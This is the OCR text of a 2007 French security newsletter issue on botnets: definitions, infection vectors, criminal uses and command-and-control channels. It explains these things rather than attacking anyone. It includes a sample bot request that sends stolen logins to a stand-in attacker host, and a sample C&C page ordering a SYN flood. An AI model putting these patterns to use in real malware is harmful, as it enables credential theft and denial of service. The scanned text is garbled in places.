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L'EDITO

Botnets for fun and profits..

Flash d’information ce matin a la
radio : une perquisition est menée
chez un ancien membre du gou-
vernement. Le journaliste indique
que cette opération fait suite a la
découverte de documents infor-
matiques (effacés) dans l'ordina-
teur d'un autre protagoniste de
I’affaire, documents récupérés par
un expert en informatique.

Flash suivant : des présumés
terroristes sont arrétés a Sydney
et leurs ordinateurs saisis.

Le lien entre cette actualité et no-
tre numéro de I’ActuSécu consa-
cré aux botnets, c’est cette crimi-
nalisation de I'informatique.

Les pirates savent aujourd’hui
exploiter la valeur contenue dans
les milliers de machines zombies

MAI2007

MNombre-fdé bulletins Microsoft : 6

[ Nombre d’exploits dangereux : 20
[ Nombre de XMCO 171

1. MPACK
2. Scam "postcard" RO
3. MSN IRCBot.ACD £

4. Buffer Overflow dans Yahoo Méséengér

qu’ils contrélent : vol d’identifica-
tion bancaires, attaque de déni de
services, etc.

e ) |
- ———

Aujourd’hui, les pirates louent les
services de leurs botnets a des
criminels ou vendent aux enché-
res les exploits “0-day” permettant
de pénétrer les systemes. La loca-
tion d’'un botnet permet de diffuser
instantanément un code malicieux
sur des milliers de machines dans

le monde ou de faire tomber n’'im-
porte quel site web

Il est donc temps de faire un point
sur les botnets : leur définition, et
leurs usages. Au fond, a quoi ser-
vent ces machines zombies, qui
les contréle et par quels moyens ?

Dans ce double numéro, I'équipe
XMCO tente de répondre pour
vous a ces questions et vous offre
les détails de l'autopsie réalisée
par nos soins d’'un des malwares
les plus dangereux du moment :
InfoStealer.Banker.

Frédéric Charpentier
Consultant XMCO

tﬁ Dossier Spécial “Botnet” : Définitions.....

Définitions, infections et modes de propagation.

‘ﬁ Dossier Spécial “Botnet” : Les pirates

A quoi servent les bots? Quelles sont les motivations des pirates?

&Dossier Spécial “Botnet” : C&C.................

Les canaux de contrdle.
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L’ACTU SECU

Inutile de rappeler que des milliers de malwares rési-
dent sur la toile. Le nombre de machines infectées
croit de jour en jour comme le montre de récentes
statistiques (voir encadré).

Il est pratiquement certain que chacun de nos lecteurs
ait déja été victime d’'une des ces vermines. La me-
nace des virus, vers et chevaux de Troie en tout genre
est une problématique comprise par les RSSI chargés
de protéger les ressources, I'argent et les bases de
données de I'entreprise. Cependant, les particuliers
ne prennent pas toujours le temps de comprendre le
r6le de ces malwares. Pourquoi les virus pullulent-ils
sur Internet ? Quels sont leurs réles ?

Pendant longtemps, les virus n’étaient que des bouts
de programme nuisibles exécutés dans le seul but de
supprimer des données ou encore de jouer un mau-
vais tour a la victime. Les pirates avides de recon-
naissances s’exercaient sans avoir de but précis.
Aujourd’hui le risque est plus évolué qu’il n’y parait et
la majeure partie des pirates ne développe ces pro-
grammes malicieux que dans un seul but : le profit.
Les botnets jouent donc un réle considérable dans cet
apat du gain...

Question/Réponses
Avant d’aborder les différents aspects des botnets,

présentons les termes que nous utiliserons dans la
suite de notre article.
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Définition, infections et modes
de propagation

Les botnets ou plus couramment
appelés « reseau de machines zom-
bies » sont un phénoméne actuel
qui se développe considérablement.

En effet, les récgents exemples de
déni de service distribués ont
démontré la puissance de cette
technique d’attaque extrémement
recherchée sur Internet. Ce pre-
mier article a pour but de définir
les termes utilisés tout en pré-
sentant les techniques d’infec-
tions qui ménent a la contamina-
tion d’une machine « zombie ».

XMCO Partners

Qu’est ce qu’un bot?

Un bot est un programme lancé a linsu d’un utilisa-
teur et qui va permettre au pirate de contréler I'ordina-
teur infecté. Par abus de language, on appelle égale-
ment bot la machine qui est infectée.

Qu’est ce qu’une machine zombie?

Un systéme devient une machine zombie dés lors que
cette derniére est infectée par un malware.

On appelle machine zombie, une machine vérolée,
infectée par un malware qui devient a l'insue de son
propriétaire un systéme a la merci des pirates.
Contrairement au ver, le bot obéit aux ordres dictés
par le pirate par le biais d’'un canal de contréle.

Qu’est ce qu’un botnet?

Le mot botnet provient de la contraction du mot « ro-
bot » et « network ». Comme son nom l'indique un
botnet est donc un réseau de machines compromises
qui exécutent un programme appelé bot ou malware
chargé de récuperer et d’exécuter les ordres dictés
par les pirates.

Les commandes sont généralement envoyées sur des
serveurs IRC ou HTTP également contrélés par les
pirates.

La plupart des virus que I'on trouve donc sur Internet

compose les nombreux botnets qui pullulent et
s’agrandissent de jour en jour.
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De nombreux malwares sont donc chaque jour déve-
loppés dans un but unique : devenir une pieéce mai-
tresse dans le développement d’un réseau de machi-
nes, toutes contrélées par un groupe de pirate.

Qu’est ce qu’un bot herder?

Derriére ces botnets se cache le pirate qui contréle
’ensemble de ces machines. On surnomme ce pirate
le « bot herder ». Il ne faut pas croire que ces person-
nes sont souvent les meilleurs hackers. Certes il faut
avoir des compétences de développeurs pour coder
les malwares les plus évolués qui sont toujours plus
furtifs.

Cependant, il faut bien prendre en compte qu’un « bot
herder » est souvent une personne qui a pour seule
fonction de donner des ordres a son réseau de bots.
Ainsi la plupart acheéte sur Internet des « kits » tout en
un et utilise un outil de management simple pour con-
tréler leurs bots et développer leurs réseaux.

Quelle taille peuvent atteindre ces réseaux?

Les botnets peuvent se composer de 2 a plus d’un
million de machines comme ce fit le cas du dernier
botnet mis en évidence par le FBI (voir encadré).

Quelles sont les dates qui ont marqué Pévolu-
tion des botnets?

La notion de botnet ne date pas d’hier. En effet, les
premiers bots IRC datent des années 1990 avec I'ap-
parition des premiers vers comme « Morris ». La fi-
gure emblématique de cette période se nomme « Eg-
gdrop » et se propage via le réseau IRC.

Quelques années plus tard, des outils comme Trinoo,

TFN2k ou Stacheldraht sont mis a disposition sur des
sites Underground. Ces derniers ont permis de mener
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les premiers DDOS largement relayés par la presse
dans le courant de I'année 2000.

Les plus grands sites comme CNN, Yahoo, Amazon,
Dell ou encore Ebay furent les premiérs victimes d’un
pirate dénommé « MafiaBoy », jeune de 15 ans qui
causa des pertes de plus de 1,2 milliard de dollars en
moins de 24 heures.

Dans le méme temps, les chevaux de Troie envahis-
sent la toile (BackOrifice, Subseven) et les premiers
vers dangereux aparraissent (Code Red, Blaster,
Sasser...).

Avec le développement des transactions sur Internet
(bancaires, achats et jeux en ligne...), l'intéret d’infec-
ter un grand nombre d’internautes puis de pouvoir
orchestrer des attaques a grandes échelles ou voler
en masse des informations est devenu petit a petit un
enjeu crucial pour les pirates.

INF)...

Le FBI sensibilise les citoyens américains
avec 'opération BOT ROAST...

Apres plusieurs semaines d’études,
l’agence américaine annonce avoir iden-
tifié un botnet de plus d’un million de
PC zombies. Les autorités américaines
travaillent en collaboration avec plu-
sieurs partenaires dont 1’équipe « Com-
puter Emergency Response Team Coordina-
tion Center » (CERT) et 1l'université de
Carnegie Mellon.

L’ensemble des adresses IP va permettre
d’alerter les propriétaires des ordina-
teurs infectés. Dans ce rapport, on ap-
prend qu’il reste un grand nombre de
postes Windows 98, systéme d’exploita-
tion obsoléte et plus supporté par
Microsoft.

Trois personnes ont d’ores et déja été
arrétés : Jeanson James Ancheta, un
jeune américain de 20 ans qui contrdlait
pas moins de 100 000 zombies est mainte-
nant en prison et purge une peine de 5
ans de prison. Jason Michael Downey uti-
lisait des botnets pour lancer des atta-
ques de dénis de service. Enfin Robert
Alan Soloway, aka Spam King, a été in-
terpellé récemment pour l'envoi de mil-
lions de Spam.
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Quelles sont les familles de bots les plus con-
nues?

Agobot/Phatbot/Forbot/XtremBot : Certainement le
plus connu, ce virus a été découvert en 2002. Déve-
loppé en C++ ce qui offre au malware plus de modula-
rité, il contient prés de 20 000 lignes de codes et plus
de 500 variantes ont été identifiees. Extrémement
puissant, il se contrle par le réseau distribué
« WASTE chat network », permet de lancer différen-
tes attaques de déni de service, vole les identifiants et
les clefs d’activation. Enfin il implémente des fonctions
de polymorphismes et contient de nombreux exploits.

Sdbot/RBot/UrBot/UrXBot/....: Moins sophistiqués,
cette famille de malware a été développée en C. Elle
inclue également le méme type de fonctionnalité et
malgré son évolutivité minime, les pirates I'apprécient
et I'utilisent encore.

Les « mIRC » bot (Gtbot) : Enfin cette derniéere fa-
mille inclue tous les bots contrélés a I'aide du proto-
cole IRC. Gt est I'appréviation de Global Threat (me-
nace globale), nom utilisé pour tous les bots basés
sur MIRC.

Ce bot est un des premiers et est toujours utilisé sur
Internet. De multiples variantes ont été proposeées.
Tout comme Agobot, il inclue un scanner et des ex-
ploits automatiques. Un exécutable « Hide Win-
dows », version modifiée de mIRC, permet de cacher
le client IRC qui tourne sur I'ordinateur infecté.

Comment se développent-ils?

Les malwares se développent et infectent les postes
de travail comme les serveurs mais de quelles manié-
res? Nous vous présentons brievement, dans ce pa-
ragraphe, les principaux vecteurs d’infection.

Infection des serveurs

Les pirates utilisent différents moyens pour prendre le
contréle de serveurs positionnés sur Internet. En effet,
un trés grand nombre de serveurs est exposé direc-
tement sans qu’aucun suivi des correctif ne soit impo-
sé. Aprés le scan de quelques plages IP, il est facile
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de tomber sur un serveur non corrigé et vulnérable
aux failles de sécurité « classiques » RPC, LSASS ou
IIS.

Les hackers ont d’autres cartes entre leurs mains. De
nombreux outils peuvent également leurs servir a me-
ner des attaques de bruteforce (nombreuses tentati-
ves d’authentitication basée sur une liste prédéfini de
login/mot de passe).

Une fois le systéme compromis il ne reste plus qu’a
déposer puis exécuter le malware en question qui
sera également pourvu de fonctionnalités d’exploita-
tion automatiques de failles de sécurité.

Les applications PHP sont d’ailleurs les plus ciblées.
En effet, la diversité et le manque de sécurité des ap-
plications disponibles sur Internet rendent ces ser-
veurs les plus vulnérables. Pendant longtemps, des
failles de sécurité « Remote Inclusion » ont laissés la
possibilité aux pirates d’appeler un script externe exé-
cuté directement sur le serveur en question. De nom-
breux serveurs web ont été compromis de la sorte.

Infection des postes clients

Social Engineering

Les pirates ont également compris que les postes
client pouvaient participer activement au grossisse-
ment des botnets. Des campagnes de « Social Engi-
neering » continuent d’étre menées pour tenter d’inci-
ter un internaute a ouvrir une piéce jointe vérolée.
Tous les moyens sont bons : faits divers importants
(coupe du monde, mort d’un président, photos d’ac-
trice dénudée...), faux correctif ou logiciel de sécurité,
vidéos gratuites.... La crédulité des internautes y est
pour beaucoup dans I'évolution de ces réseaux mal-
veillants. Des statistiques effrayantes montrent que
dans plus de 50% des cas, un internaute va ouvrir la
piéce-jointe sans méme connaitre I'émetteur de
I’email.

Dans le méme principe de nombreux sites de Warez
et de charme ont vu le jour. Ces derniers proposent
des logiciels crackés qui sont le plus souvent vérolés.
En quelques secondes, n'importe quel Internaute peut
tomber sur un site web qui propose des logiciels
crackés comme le montre la capture suivante :

=] B R s w =Y
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Une fois contaminé, I'ordinateur infecté peut alors uti-
liser les messageries instantanées pour se diffuser.

AVTEST says:

v.uglyphotos.net/photo223.PIF

AVTEST savs:

lol check = http://peopleonline.pe funpic.de/photo947

Exploitation des vulnérabilités des navigateurs via des

pages web malicieuses
L’infection passe également par des failles de sécurité

des navigateurs (dont notamment MS02-066, MS03-
20, MS04-025, MS05-022, MS05-038, MS06-013,
MS07-021).

Les pirates insérent des « iframe » cachées (ou diffici-
lement identifiables 1*1 pixel) et ajoutent des redirec-
tion vers une application tierce chargée d’exploiter les
failles des navigateurs.

Des applications comme « MPACK » ont récemment
marqué l'actualité de ce mois de Juin et permis de
compromettre prés de 10 000 ordinateurs.

La derniere vulnérabilité critique en date fut la faille
ANI qui exploitait un débordement de tampon de la
librairie « USER32.dll ». Dés qu’un curseur animé
était inclus dans une page web, la simple visite de
cette page malicieuse permettait de provoquer un dé-
bordement de tampon et d’y injecter le code souhaité
pour prendre le contréle total du poste client.

Création d’'une applet signée
Enfin la nouvelle mode est a la création d’applet si-

gnée. Ces bouts de programmes développés en Java
sont interprétés par le navigateur (machine virtuelle
Java installée) lors de l'affichage d’une page web. Les
applets signées sont multiplateforme (Windows, Mac,
Linux) et doivent faire I'objet d’une validation de I'utili-
sateur.

Dés lors que l'internaute valide la boite de dialogue,
I’'applet obtient tous les droits en lecture/écriture sur le
poste client...

La signature numérique de l'application ne peut pas o g
etre vérifiée. Souhaitez vous exécnter l'application ? v

© XMCO Partners - 2007

Mode de propagation

Une des caractéristiques d’'un malware dédié a la
consitution d’un botnet est son mode de propagation.
En effet, le malware doit infecter de nouvelles machi-
nes afin d’agrandir le réseau. Pour cela, il en existe
différents types :

-Mode simple : Le malware ne posséde pas de méca-
nisme de contamination. Il attend les ordres et exé-
cute les commandes souhaitées par le maitre du ré-
seau.

-Mode unitaire : Le malware utilise uniquement un
programme chargé d’exploiter automatiquement une
faille de sécurité puis tente d’infecter d’autres machi-
nes.

-Mode pluraliste : Le malware possede différents ex-
ploits et lance un scanner de vulnérabilités afin de
devenir le plus souple possible. Il est adaptif et donc
extrémement dangereux.

194.146.207.19 TCP 1123 = 80 [ACK] Seq=299 Ack=y

194.7 .19 TP 1123 » 80 [FIN, ACK] Segq=299 A
192. il TCP 80 » 1123 [ACK] Seg=152 Ack=31
194. el el 1125 = 80 [S¥YN] Seg=0 Len=0 MS:
192. il TCP 80 » 1125 [SvN, ACK] Seq=0 Ack:

134. ] Pt il S St W |
UB3R-exe H‘I'I'P
192. 7l b e = S0 Al fac ] Rl ACKRCT
i 7L HTTP HTTP/1.1 404 Not Found (text/sh
194._ ] e 1125 » 80 [ACK] Seg=255 Ack=r

La trace suivante montre la connexion entre un botnet
et un serveur web. A la ligne 8, nous voyons qu’une
requéte GET est émise afin de récupérer le binaire
UB3R.exe qui n’est autre qu’un nouvel exploit. La
modularité et I'évolutivité du malware sont donc es-
sentielles pour le développement du virus.

Conclusion

Les bots sont donc regroupés dans plusieurs familles
qui possedent des caractéristiques propres a leurs
modes de fonctionnement. Les méthodes d’infection
sont diverses : du simple email contenant directement
le malware, au développement de sites web exploitant
une vulnérabilité du navigateur, tous les moyens sont
utilisés pour développer le réseau.

Les chiffres demeurent effrayants : selon le FBI 5 000
a 30 000 ordinateurs sont contaminés chaque jour....
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DOSSIER SPEGIAL BOTNET
(PART.N)

Les possibilités d’utilisation de ces réseaux sont mul-
tiples. En effet, le fait de contréler plusieurs centaines
voir plusieurs milliers de machines offrent aux pirates
de nombreuses portes. Les malwares implémentent
de nombreuses fonctionnalités qui peuvent étre mises
a jour, exécutées ou supprimées a l'aide d’un simple
clic. Les machines zombies constituent alors une
puissante armée préte a tout pour répondre aux atten-
tes de son maitre...

Des services loués, échangés ou vendus
Déni de service distribué (Ddos)

Un déni de service est une attaque qui vise a rendre
inaccessible un serveur par I'’envoi de nombreuses
requétes émises simultanément par un grand nombre
de machines vérolées. Les serveurs directement ex-
posés sur Internet sont capables de gérer un grand
nombre de connexions et contrent donc facilement les
attaques de petite ampleur. En revanche, lorsque des
milliers de machines émettent des requétes simulta-
nées TCP, SYN, ECHO ou UDP (niveau 4 de la cou-
che OSI) ou encore envoi de requétes GET (niveau 7)
sur différentes ressources, les serveurs saturent rapi-
dement saturés. Les sites e-commerce ne peuvent
pas se permettre de perdre ne serait-ce qu'une demi
heure de transactions. Les pertes engendrées (no-
tamment pour les ordres boursiers) s’élévent parfois a
des centaines de milliers d’euros pour une in

© XMCO Partners - 2007

A quoi servent les bots?
uelles sont les motivation
pirates?

Les malwares ne sont donc plus
développés par simple plaisir
comme c'’était le cas il y a quel-
ques années. Les pirates recher-
chaient la gloire ce qui n’est
plus le cas maintenant.

Désormais le but est de gagner de
l’'argent. Un pirate ne tire aucun
bénéfice de pouvoir prendre le
contrdle de 1l'ordinateur d’un
particulier. Son but sera d’un
niveau supérieur. Le contrdle
massif de milliers d’ordinateurs
lui donne un pouvoir recherché
par d’autres malfrats aux ambi-
tions bien plus lucratives.

XMCO | Partners

disponibilité d’'une heure.

Les botnets composés de 1000 bots peuvent égale-
ment causer des dommages importants. Le débit
combiné de 1000 machines peut facilement saturer la
bande passante d’'une grande entreprise (128Kb/s *
1000 = 100MB/S).

Les requétes soumises par ces robots se noient dans
le trafic Iégitime. Ce genre d’actions est donc difficile-
ment détectable.

Les pirates proposent de louer leur bonet le temps
d'une attaque. Certaines sociétés peu scrupuleuses

(7]
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entrent en contact avec des “bots herders” pour atta-
quer un de leurs concurrents. Ce genre de pratique
reste sporadique et peuvent avoir des conséquences
importantes si un lien est ensuite établi entre une so-
ciété et un groupe de pirates...

Les pirates préférent effrayer les responsables des
sites e-commerce dont I'activité commerciale repose
sur la disponiblité de leurs site web, en tentant de
mener des attaques appelées « DDos extortion ».
Pour cela, les pirates contactent directement les
webmasters et jurent de mener une attaque de déni
de service distribué si une forte somme d’argent n’est
pas rapidement déposée sur un compte étranger.

Plusieurs exemples ont alerté les responsables no-
tamment en Angleterre ou plusieurs sites web de paris
en ligne ont subi divers chantages le jour de la re-
transmission d’événements sportifs majeurs. La socié-
té Canbet a dans un premier temps refusé de payer
10 000 dollars mais s’est ensuite pliée aux exigences
des hackers aprés avoir subi plusieurs attaques.

Les pirates a l'origine de cette attaque, étaient basés
en Russie et ont été arrétés aprés avoir extorqué plu-
sieurs millions de dollars...

L’envoi de SPAM

Une autre facade des “botnets” devient de plus en
plus problématique. En effet, certains pirates utilisent
leurs réseaux afin de diffuser massivement du SPAM.
Un moteur SMTP est intégré dans la plupart des mal-
wares qui recherchent sur le disque dur de la victime
tous les contacts qui seront par la suite utilisés pour la
diffusion du SPAM. Selon certaines statistiques, un
spam sur deux serait émis par une machine apparte-
nant a un botnet.
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L’interface ci-dessus est issue d’'un programme bapti-
sé “Zunker” (voir paragraphe sur les canaux de con-
tréle). Ce dernier est I'outil phare de contréle de bot-
nets. Le pirate remplit le sujet et le titre de I'email a
envoyer puis valide. Les bots recoivent alors 'informa-
tion et envoient massivement I’email en question.

Le vol massif d'informations sensibles

Les nombreux zombies d’'un botnet peuvent égale-
ment étre utilisés afin de récupérer des informations
sensibles des internautes victimes. En effet, la plupart
des malwares implémentent un “keylogger” chargé de
sauvegarder toutes les saisies clavier. D’autres plus
évolués prennent des captures d’écran des que la
victime clique sur le bouton de sa souris afin de parer
les protections de clavier virtuel imposé sur certains
sites bancaires. Le pirate dispose donc d’espions qui
remontent tous les identifiants, les mots de passe, les
emails découverts dans les contacts ou les clefs d’ac-
tivation de logiciel et autres données précieuses.

Ces informations peuvent ensuite étre revendues ou
directement utilisées pour diffuser des malwares ou
mener des attaques de Phishing a grande ampleur.

NEISPAMHAUS]

Quand les attaques DDOS profitent aux emet-
teurs de SPAM

Le 11 et 12 juin, plusieurs sociétés
spécialisées dans la lutte anti-spam ont
été victimes d’une attaque DDOS. Les pi-
rates ont compris qu’une bonne partie
des SPAMS émis par leur botnet était
continuellement bloquée par les organi-
sations Spamhaus, ou encore par le
“SURBL” (SPAM URI RealTIme BlockList).

L’indisponibilité de ces serveurs aurait
laissé aux pirates la possibilité
d’émettre durant un court lapse de
temps, un maximum de SPAM non filtrés..

Le malware a l’'origine de ce déni de
service porte le nom de « Storm Worm »
et avait infecté pas moins de 20 000 or-
dinateurs en avril 2007.

Bilan des courses, les trois sites ont
résistés aux sévices des botnets.

Cet exemple montre bien la puissance des
botnets capables d’utiliser toutes leurs
fonctionnaliés pour enchainer plusieurs
attaques successives...
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Fraudes aux clics

D’autres sociétés utilisent également les services des
leader de ces bonets pour générer de faux clics. En
effet, certains sites connus proposent d’héberger sur
leur page d’acceuil des publicités. Dés qu’un inter-
naute suit ces liens, I'hebergeur gagne de I'argent.
Les bots peuvent alors étre utilisés afin de générer un
grand nombre de « clics » et donc de générer d’impor-
tants revenus pour les hébergeurs mal intentionnés.

Manipulation de sondages/jeux en ligne

Les sondages en ligne peuvent facilement étre mani-
pulés. Chacun des bots possedent une IP distincte,
les votes apparraisent légitimes et sont difficilement
identifiables en tant que malware.

Le développement du “botnet™
Contamination d’autres machines vulnérables

Afin d’étendre leur réseau, les pirates comptent éga-
lement sur la fonctionnalité d’auto contamination inté-
grée au sein des malwares. En effet, certains implé-
mentent un scanner de port et les exploits les plus
connus afin de tenter d’infecter d’autres serveurs.

La modularité des malwares permet de metire a jour
ces programmes et d’intégrer au fur et a mesure de
nouveaux exploits.

Les vulnérabilités des serveurs Web sont les plus ex-
ploitées (Windows DNS RPC, failles IIS, vulnérabilités
PHP Remote File Inclusion).

Le malware scanne certaines plages d’adresses IP
dans le but de trouver un service vulnérable. L’exploit
est ensuite lancé et le malware est uploadé sur ce
nouveau serveur contaminé qui devient un composant
du botnet.

L’installation de nouveaux malwares

Dans la plupart des cas, les botnets servent de vec-
teurs de propagation pour d’autres botnets. Les mal-
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wares possedent la capacité d’installer de nouveaux
logiciels malveillants. A la demande du pirate, une
backdoor (cheval de
Troie, keylogger) ou en-
core un simple outil peut
étre installée en fonction
des besoins. Pour cela,
des canaux HTTP, FTP
ou TFTP sont facilement
mis en place.

Dans le méme registre
certains pirates installent
des plugins au sein du
navigateur grace aux ob-
jets « Browser helper
Objects ».

Toujours plus astucieux,

certains malwares installent également des correctifs
de sécurité pour ne pas laisser une opportunité a un
autre bot d’infecter la machine...

Mise en place de services divers

Une fois un nombre important de machines contré-
Iées, les pirates peuvent également installer des ser-
vices qui serviront de base a des futures attaques.
Les serveurs web sont le plus souvent mis en place
dans le but d’infecter d’autres internautes.

Cependant, un des service les plus utiles demeurent
la fonction de Proxy. En effet, en se connectant au
travers de plusieurs machines compromises qui ser-
vent alors de rebond, I'adresse IP source du bot her-
der devient de plus en plus difficile a tracer par les
autorités.

Contamination de
| nouvelles machines |

1@ — o ==e P
g- 4 -? ~‘
"

= [

ﬁﬁ—v @@
@ ’@

Dcn de service
'!lslrl!: e

Conclusion

L’appat du gain est donc une des motivations majeu-
res du pirate qui développe son botnet afin de louer
ses services. Les prix flambent sur les marchés Un-
derground ce qui incite les « scripts kiddies » (jeunes
pirates) a créer également leurs propres réseaux.
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Comment sont-ils contrdlés par
les hackers?

Les pirates qui contrdlent les
botnets trouvent des moyens de
plus en plus ingénieux pour en-
voyer les commandes dqui seront
exécutées par leurs bots. Diffé-
rents canaux de communications
sont possibles mais certains de-
meurent beaucoup plus discrets
que d’autres..

Deux modes principaux s’'affron-
tent les serveurs centralisés
qui acceptent les connexions des
machines infectées et 1les ré-
seaux P2P de plus en plus utili-
sés. Dans 1le premier cas, la
survie du botnet est intrinse-

quement liée a celle du serveur.

XMCO | Partners

Les serveurs pirates
L’initialisation de la connexion

Avant de pouvoir étre contr6lé par le pirate, le mal-
ware exécuté sur l'ordinateur de la victime ne se met
pas en écoute afin de recevoir des commandes.
L’évolution des pare-feux, et des proxy empéchent
bien évidemment aux pirates de venir se connecter
directement sur les machines infectées. Les malwares
utilisent alors un mode de connexion sortant. Ce sont
eux qui initient la connexion sur un serveur distant
(connexion reverse).

Serveur IRC : la méthode classique

La méthode de contréle la plus utilisée a longtemps
été le protocole IRC (Internet Relay Chat). Ce dernier
permet de dialoguer en temps réel avec d’autres in-
ternautes. Sa fonction native a peu a peu été détour-
née avec larrivée des messageries instantannées.
Aujourd’hui ces serveurs sont davantages utilisés par
les pirates que par des internautes standards. En ef-
fet, les serveurs IRC sont publics et peu contrélés ce
qui laissent des possibilités intéressantes aux pirates.

Le principe est simple. Les machines zombies vien-
nent se connecter sur ces serveurs (généralement sur
le port 6667) sur un canal spécifique a I'aide d’un
client IRC. Les pirates se connectent également et

© XMCO Partners - 2007
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utilisent ces forums de discussions pour passer leurs
commandes.

Ce mode de contréle tend a disparaitre. En effet,
ceux-ci restent utilisés pour contréler une machine
personnelle. Dés lors que le pirate s’attaque a une
entreprise, les proxies qui filtrent le traffic sortant em-
péchent les malwares d’établir une connexion sur le
port 6667.

Serveur http : le plus en vogue
Les pirates ont rapidement compris les limitations des

flux sortants et se sont donc penchés sur un moyen
beaucoup plus transparent : les connexions http. En
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effet, la majorité des entreprises autorise les flux sor-
tants vers les ports 80 et 443 (pour la navigation web).
Le traffic malicieux vers des serveurs web pirate ap-
parait donc légitime pour un proxy. De plus, I'avan-
tage de cette méthode est de noyer les commandes
et les informations émises par les malwares dans le
flux http qui est excessivement important dans une
entreprise de grande taille.

Ainsi les malwares émettent des requétes GET et
POST vers des serveurs web pirates afin de poster
leurs informations (status, informations subtilisées...).

Ces requétes sont de la forme :

GET
http://www.serveur-pirate.com/index.

php?id=1124565&status=1&type=gmails&l
ogin=darmon&mdp=isabelle HTTP/1l.1

Le bot envoie cette requéte sur un serveur pirate en
précisant les logins et les mots de passe qu’il a pu
voler a sa victime. Pour récupérer les commandes a
exécuter, deux modes sont alors envisageables : le
mode connecté et le mode non connecté.

Dans le cas « connecté », le pirate contréle un ser-
veur et répond aux requétes entrantes sur le port 80
afin de donner des commandes a exécuter. La con-
nexion entre le bot et le serveur est persistante.

Dans un mode « non connecté », le bot va venir pé-
riodiguement demander une page web comme le
montre I'exemple simplifié suivant :

GET
http://www.serveur-pirate.com/comman
des.php HTTP/1.1

Le serveur web va alors renvoyer le contenu de cette
page :

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html;
set=UTF-8
Server: GWS/2.1
Date: Thu, 21 Jun 2007 15:11:55 GMT

char-

<html><head>

Flood ;SYN ;http://www.google.com ;1
0/07/2007 ;11 :00 ;30 ;50
</head></html>

Une fois récupéré, le bot va parser le code de cette

© XMCO Partners - 2007

page puis, dans notre exemple, va envoyer le 10
juillet 2007 50 paquets SYN a destination de
google.Fr pendant 30 minutes. En imaginant que
100 000 bots réalisent la méme opération a la méme
heure le méme jour, on peut facilement imaginer les
conséquence d’une attaque d’une telle ampleur.

Les hackers ont rapidement compris que les blogs et
les sites communautaires pouvaient leur servir au
contréle des botnets. Le pirate peut méme cacher ses
instructions dans des images ou des codes HTML
illisibles. Ce mode de fonctionnement reste marginal
mais se développe avec I'’émergence de sites com-
munautaires comme MySpace, facebook, skyblog...

Il est ensuite extrémement difficile de remonter a la
source et a l'auteur des botnets.

Russie vs Estonie...

A la fin du mois d’Avril 2007, Nous
avons assisté a une cyber guerre entre
1’Estonie et la Russie. Les autorités de
Tallin ont diG faire face a une vague
d’attaques successives a 1l’encontre de
sites officiels. L’ensemble de ces as-
sauts serait d’origine russe voire méme
dicté par les hautes sphéres du gouverne-
ment...

La raison ? Certains pensent que l’enle-
vement d’un mémorial de guerre datant de
l’époque soviétique aurait été percgu
comme un affront par la Russie.

La vengeance fut immédiate. Quelques heu-
res plus tard, de nombreuses attaques de
déni de service distribués se sont donc
abattues sur un grand nombre de sites es-
toniens. Administrations, médias, ban-
ques, partis politiques, tous ont été
victimes des foudres russes Jjusqu’a in-
terrompre temporairement (quelques heu-
res) le numéro des services d’urgence.

Un nombre impressionnant de machines zom-
bies aura participé activement a cette
attaque (plusieurs milliers), de quoi
montrer du doigt les responsables russes

et les opérateurs Telecom du pays.

Cette attaque sans précédent aura donc
marqué les esprits et interpellé les res-
ponsables des grands pays. Le gouverne-
ment russe nie toute implication dans une
telle affaire qui sera prochainement pré-
sentée devant les minitres de la Justice
de 1’'Union Européenne.
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Des outils d’administration de plus en plus
évolués

Les pirates utilisent également de belles interfaces
graphiques que proposent des kits. Le logiciel Zunker
est une référence en la matiere. Cet outil analyse et
centralise les connexions courantes et proposent des
fontionnalités et statistiques avancées (classement
par pays, bots actifs, version utilisée...) comme le
montre la capture suivante :

[ RTUL L
REIE Y]

e =

L'utilisation de réseaux existants
Les réseaux P2P

De nouveaux modes de canaux apparaissent peu a
peu sur la Toile. De nombreux serveurs pirates IRC ou
Web sont chaque jour découverts par les autorités et
donc fermés.

Les pirates se sont donc penchés sur des moyens
évolués afin de passer inapergcus aux yeux des gar-
des d’Internet et ont trouvé le reméde miracle...les
réseaux P2P.

De nombreux malwares utilisent le protocole Gnutella
(comme la famille Phatbot). Les particuliers sont des
cibles potentielles. Les temps de réponses sont plus
long mais l'origine des bot herder devient alors com-
pletement anonyme.

Les messageries instantannées

Encore plus intéressant, I'utilisation de messageries
instantanées est une des nouveautés de I'année
2007. En effet, certaines familles de bots utilisent
MSN, Yahoo qui deviennent de véritables casses téte
lorsque ces clients sont autorisés au sein d’une entre-
prise (ce qui ne devrait pas étre le cas dailleurs !).
Discrets, stables, performants, ces moyens de com-
munications sont dangereux et efficaces.

Les “Covert Channel”
Les canaux chiffrés

L’exemple présenté ci-dessus présente un cas simple
et peu évolué. Dans certains cas, le serveur web en-
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verra des commandes avancées qui pourront étre
repérés par un IDS/IPS. L’utilisation d’un canal chiffré
résout le probléme. Les connexion HTTPS ne peuvent
étre analysées puisque le flux est chiffré. La présence
du bot sera donc difficilement décelable.

Seule une analyse comportementale de ces flux ou la
détection de requétes DNS étranges seront les solu-
tions a adopter.

Le nouveau mode de contrdle: le protocole
DNS

Les pirates s’adaptent et trouvent de nouveaux
moyens de communication. Un des derniers en vogue
est le canal DNS. Des 2004, certains spécialistes dé-
montraient déja comment il était possible de diffuser
un flux radio via des requétes/réponses DNS. Le
malware utilise donc cette technique et envoie une
requéte DNS a un serveur contrélé par le pirate (qui a
donc autorité sur le domaine demandég). Ce dernier
répond en fournissant des commandes qui seront
exécutées par le pirate.

Le traffic DNS est souvent autorisé en entreprise (bien
que les proxy jouent ce réle) ce qui contourne donc
les filtrages de flux sortants.

Plusieurs chercheurs ont déja publié des preuves
de concept pour contréler un bot via des requétes/
réponses DNS (voir bibliographie).

Skype

Enfin, Skype devient également un vecteur de com-
munication a la mode. Contrairement aux bots IRC qui
se donnent rendez-vous sur un serveur codé en dur
dans chaque bot et qui peuvent facilement etre repé-
rés avec un simple sniffer, l'utilisation du réseau Sky-
pe devient un véritable casse-téte pour les autorités.
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En effet, I'architecture Peer to Peer mise en place par
Skype offre aux pirates des possibilités avancées
pour éviter toute détection. Les bots utilisent alors un
simple pseudo et peuvent donc étre connectés a
n’'importe quel noeud et donc difficilement tragables.
Par ailleurs, Skype contourne simplement les pare-
feux. Le chiffrement rend également les communica-
tions difficiles & monitorer. lls offrent donc un excellent
canal de communication.

Les protections

Les mesures de sécurité contre les botnets sont rela-
tivement difficiles a mettre en place. En effet, les mal-
wares utilisent de plus en plus les techniques des
